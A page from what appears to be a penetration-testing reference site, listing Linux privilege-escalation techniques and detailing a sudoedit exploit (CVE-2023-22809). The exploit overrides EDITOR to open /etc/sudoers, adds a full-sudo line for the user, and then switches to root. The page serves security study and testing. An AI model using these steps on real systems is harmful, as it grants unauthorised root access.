Linux Privilege Escalation
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  • Apache Conf Privilege Escalation
  • Bash eq Privilege Escalation
  • Buffer Overflow Privilege Escalation
  • Chrome Remote Debugger Pentesting
  • Doas Privilege Escalation
  • Ghidra Debug Mode RCE
  • Gnuplot Privilege Escalation
  • LXC/LXD (Linux Container/Daemon) Privilege Escalation
  • Linux Privilege Escalation
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  • OpenSSL Privilege Escalation
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  • Python Eval Code Execution
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  • Python Privilege Escalation
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  • Rust Privilege Escalation
  • SSSD Privilege Escalation
  • Shared Library Hijacking
  • Snapd Privilege Escalation
  • Sudo ClamAV Privilege Escalation
  • Sudo Dstat Privilege Escalation
  • Sudo Exiftool Privilege Escalation
  • Sudo Fail2ban Privilege Escalation
  • Sudo Git Privilege Escalation
  • Sudo Java Privilege Escalation
  • Sudo OpenVPN Privilege Escalation
  • Sudo Path Traversal Privilege Escalation
  • Sudo Privilege Escalation
  • Sudo Privilege Escalation by Overriding Shared Library
  • Sudo Reboot Privilege Escalation
  • Sudo Screen Privilege Escalation
  • Sudo Service Privilege Escalation
  • Sudo Shutdown, Poweroff Privilege Escalation
  • Sudo Systemctl Privilege Escalation
  • Sudo Tee Privilege Escalation
  • Sudo Umount Privilege Escalation
  • Sudo Vim Privilege Escalation
  • Sudo Wall Privilege Escalation
  • Sudo Wget Privilege Escalation
  • Sudoedit Privilege Escalation
  • Tar Wildcard Injection PrivEsc
  • Update-Motd Privilege Escalation
  • irb (Interactive Ruby Shell) Privilege Escalation
  • Linux Backdoors
  • Linux Pivoting
  • Post eploitation
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Sudoedit Privilege Escalation

Sudoedit is vulnerable to privilege escalation.

Investigation

sudo -l

(root) sudoedit /opt/example.txt
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If we can execute sudoedit command as root, we might be able to escalate the privileges with some version.

Exploitation (CVE-2023-22809)

export EDITOR="vim -- /etc/sudoers"
sudoedit /opt/example.txt
Copied!

In vim editor, add the following line in /etc/sudoers. Assume the current username is “john”

john ALL=(ALL:ALL) ALL
Copied!

After that, we can escalate to root privilege.

sudo su root
Copied!

References

  • https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf

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Last updated 1 year ago

  • Investigation
  • Exploitation (CVE-2023-22809)
  • References
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